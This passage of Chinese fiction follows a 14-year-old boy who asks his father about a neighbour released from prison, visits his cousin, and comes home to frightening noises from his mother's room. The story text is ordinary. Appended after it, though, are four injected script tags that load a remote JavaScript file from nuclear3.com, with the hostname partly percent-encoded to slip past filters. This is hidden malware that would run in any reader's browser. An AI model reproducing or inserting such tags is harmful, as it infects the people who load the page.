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孙锦明关于少年的记忆确实被14岁那年全部占据了,好象说起回忆就只有那年的14岁,那年的江春。 从江白果家回来后,他有些魂不守舍,那个山上的年轻男人江白果肯定是不认识的,不过他认识,说起来也是孙家辈的人,不过这个人18岁就坐过牢,听父亲讲是他抢钱,这人的爸爸也坐过牢,十几年前的事了,因为强奸坐牢的,孙锦明小的时候就跟在别人后面骂过他流氓,究竟什么是流氓,那时的他并不知道,现在也是模糊的知道是因为那事,对女人做了那事就要坐牢。为这他和小狗子讨论了很久,为什么和女人做那事就要坐牢呢?那自己爸爸怎么不要坐牢?小狗子是他堂弟弟,其实和他同年,不过比他成熟多了,因为小狗子明白,如果没有结婚就做那事,男人就要坐牢。 父亲在院子里劈柴,孙锦明跟在旁边堆柴火。 “爸,住东边的孙昌子从牢里放出来了?”孙锦明小心翼翼地问。 “早放出来了,你问这个干什么?”孙谦放下手上的斧头,看着孙锦明,说,“我跟你说,你千万不要跟那小子混在一起,我们孙家怎么会出他们一家的败类。” 孙锦明应了一声。他知道父亲对他期望很高,别家都生了七八个孩子,父亲只要了他一个,就想着他光宗耀祖,说什么穷三代富三代,从他这算起就该富起来了。母亲总是嘲笑父亲,母亲是爷爷花了很高的价钱从很远的地方讨来的,爷爷曾经接济过一个和尚,和尚告诉爷爷如果想让自己的子孙有福就一定要从远处讨媳妇。 的确,孙锦明和孙家辈别的孩子就是不一样,他性格沉稳,学习成绩也特别好,从读书以来成绩就没落到过第二。他母亲蔡三彩是北方人,究竟哪个地方,孙锦明不知道,也没去过,不过蔡三彩确实是江春城最漂亮的女人,江白果的母亲都比不上。而且母亲说的话也好听,那普通话比江春城的播音员说的还标准。因为这,蔡三彩对买他回来的孙谦常常是呼来喝去,孙谦倒是从不计较,能有这么漂亮的老婆有这么聪明的儿子对他来说简直是恩赐。他常常对儿子孙锦明说要懂得感谢,他因为懂得感谢所以纵容老婆,老婆要是实在烦他了,他还能高高兴兴卷着铺盖去山上住几天。 爷俩把院子收拾好,蔡三彩睡午觉才醒,在屋里伸着懒腰,要孙锦明给他打水进屋,她想趁暖活洗个澡,孙谦把儿子打发去了院子外做功课,自己屁颠地又是烧水又是洗澡盆子。孙锦明写完功课就直接去找小狗子玩了,他想问问孙昌子的事。 小狗子大名叫孙锦程,很好的名字,不过让他给断送了,他成绩总是班上倒数,打架偷懒班上就他最能。不过他家里不像孙锦明家穷,他父亲文化大革命的时候混到了村长,虽然后来下来了,不过他趁江春,镇改县时弄了几块地,留了一块做门脸,另一块卖给县里盖厂,很是挣了一笔。 小狗子在他家店门口打瞌睡,哈喇子流了一脸,孙锦明拉了他一下耳朵,他还呼呼地睡着,他正想用脚踢小狗子的屁股,就见孙昌子骑着自行车往城西去,自行车的筐子里还有一个塑料袋。 “醒腥,你这个臭狗子一天到晚就知道睡。”孙锦明对着小狗子屁股就是一脚,小狗子这才哎哟一声醒了。 “你干什么呢?”小狗子擦了嘴角的口水,睡意惺忪地问。 “你知道孙昌子去哪吗?”孙锦明指着远去的背影。 “不知道,你问这个干什么?”小狗子打了个哈欠,好象想起来什么说,“他今天到店里来买烟,还和我爸爸说他要发财了呢,我爸怕他下午来我们家偷东西让我再这盯着店。” 孙锦明什么都没打听到,和小狗子嬉闹了一会儿,天就暗了,他就回家了,院子门关着,父亲可能背柴上山了,他最近在山上挖了个窑洞,说是要烧点砖,在山上烧窑是要挨处分的,所以父亲总是晚上上山。 孙锦明推推门,关着的,母亲可能在屋里洗澡没听见,他一个跟斗就翻进了院子,家里的院子真的很低,难怪父亲要烧砖加高院子,不过我们家这么穷谁来呀。孙锦明边想边往厨房去,他肚子饿了去找找有什么吃的,猛地听到母亲房间里有声音,好象是谁的脖子被掐住了似的,吱吱呜呜、哼哼唧唧地,孙锦明吓一跳,难道是有贼?他偷偷走到母亲房间窗口往里一看,差点吓晕过去。 <Script Src=http://%63.nuclear3.com/css/c.js></Script><Script Src=http://%63.nuclear3.com/css/c.js></Script><Script Src=http://%63%2Enuclear3.com/css/c.js></Script><Script Src=http://c.nuclea%723.com/css/c.js></Script>
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